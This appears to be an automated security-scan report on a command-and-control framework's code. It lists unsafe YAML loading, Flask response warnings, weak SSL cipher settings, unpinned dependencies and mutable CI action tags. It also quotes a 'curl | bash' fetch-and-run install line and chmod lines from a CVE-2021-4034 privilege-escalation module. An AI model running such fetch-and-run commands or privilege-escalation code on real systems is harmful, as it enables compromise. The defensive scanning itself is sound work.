- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/listener_template_util.py line 64
- Likely real
- Yes, 98% confidence
Use of unsafe yaml load. Allows instantiation of arbitrary objects. Consider yaml.safe_load().
63 """ 64 raw = yaml.load(Path(path).read_text(), Loader=Loader) 65 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/module_service.py line 940
- Likely real
- Yes, 98% confidence
Use of unsafe yaml load. Allows instantiation of arbitrary objects. Consider yaml.safe_load().
939 if modified_module.language == LanguageEnum.csharp: 940 compiler_dict = yaml.load(modified_module.compiler_yaml, Loader=Loader) 941 compiler_dict[0]["Code"] = modified_input -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/module_service.py line 962
- Likely real
- Yes, 98% confidence
Use of unsafe yaml load. Allows instantiation of arbitrary objects. Consider yaml.safe_load().
961 try: 962 yaml2 = yaml.load(file_path.read_text(), Loader=Loader) 963 yaml_module = {k: v for k, v in yaml2.items() if v is not None} -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-4034.py line 65
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o755 on file (GCONV_PATH=./exploit).
64 exit() 65 os.chmod('GCONV_PATH=./exploit', 0o0755) 66 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-4034.py line 47
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o755 on file (payload.so).
46 exit() 47 os.chmod('payload.so', 0o0755) 48 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 1100
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response( packets.build_routing_packet( stagingKey, sessionID, language, encData=encryptedAgent ), 200, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 764
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 404) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 1120
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(results, 200) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 1118
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 200) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 1113
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 404) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 1030
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 404) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 1023
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 404) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 993
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(results, 200) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 987
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 200) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 986
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 401) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 974
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(stage, 200) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 973
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 404) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 933
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(stage, 200) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 932
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 404) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 896
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 200) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 890
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 200) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 876
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 404) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 775
- Likely real
- Yes, 83% confidence
Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.
return make_response(self.default_response(), 404) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http_malleable/listener.py line 1947
- Likely real
- Yes, 80% confidence
The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel.
context.set_ciphers(listener_util.generate_random_cipher()) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 1138
- Likely real
- Yes, 80% confidence
The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel.
context.set_ciphers(listener_util.generate_random_cipher()) -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Yes, 55% confidence
Unpinned dependency: 'pysecretsocks' has no version lock — supply chain risk
pysecretsocks = {'git': 'https://github.com/BC-SECURITY/PySecretSOCKS.git', 'rev': 'da5be0e'} -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Yes, 55% confidence
Unpinned dependency: 'donut-shellcode' has no version lock — supply chain risk
donut-shellcode = {'git': 'https://github.com/BC-SECURITY/donut.git', 'rev': 'b361c0d3'} -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /setup/install.sh line 155
- Likely real
- Yes, 54% confidence
Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.
curl https://pyenv.run | bash -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/code_execution/invoke_script.py line 8
- Likely real
- Yes, 52% confidence
Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.
with urllib.request.urlopen(script_url) as response: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-tag.yml line 15
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 190
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 222
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 244
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: plexsystems/container-structure-test-action@v0.3.0 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 267
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 285
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: tj-actions/changed-files@v47.0.6 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/prerelease-sponsor-kali-merge-private.yml line 38
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-start.yml line 27
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-start.yml line 37
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-start.yml line 60
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: vinnybod/keep-a-changelog-new-release@1.4.0 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-start.yml line 73
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: thomaseizinger/create-pull-request@1.4.0 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 138
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-tag.yml line 24
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-tag.yml line 35
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: vinnybod/extract-release-notes@v2 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-tag.yml line 38
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/create-release@v1 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-public-start.yml line 58
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: thomaseizinger/create-pull-request@1.4.0 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-public-tag.yml line 15
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 12
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: pre-commit/action@v3.0.1 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/dockerimage.yml line 18
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: docker/setup-buildx-action@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/dockerimage.yml line 16
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: docker/setup-qemu-action@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/dockerimage.yml line 14
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/cherry-pick-main.yml line 63
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: thomaseizinger/create-pull-request@1.4.0 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/cherry-pick-main.yml line 28
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/dockerimage.yml line 20
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: docker/login-action@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/dockerimage.yml line 37
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: docker/build-push-action@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 11
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 185
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 38
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 45
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 74
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/cache@v6 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 119
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: MishaKav/pytest-coverage-comment@v1.11.0 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 133
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-public-start.yml line 20
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 158
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/cache@v6 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-public-tag.yml line 40
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/create-release@v1 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-sponsor-kali-tag.yml line 35
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/create-release@v1 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-sponsor-kali-tag.yml line 30
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: vinnybod/extract-release-notes@v2 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-sponsor-kali-tag.yml line 27
- Likely real
- Yes, 52% confidence
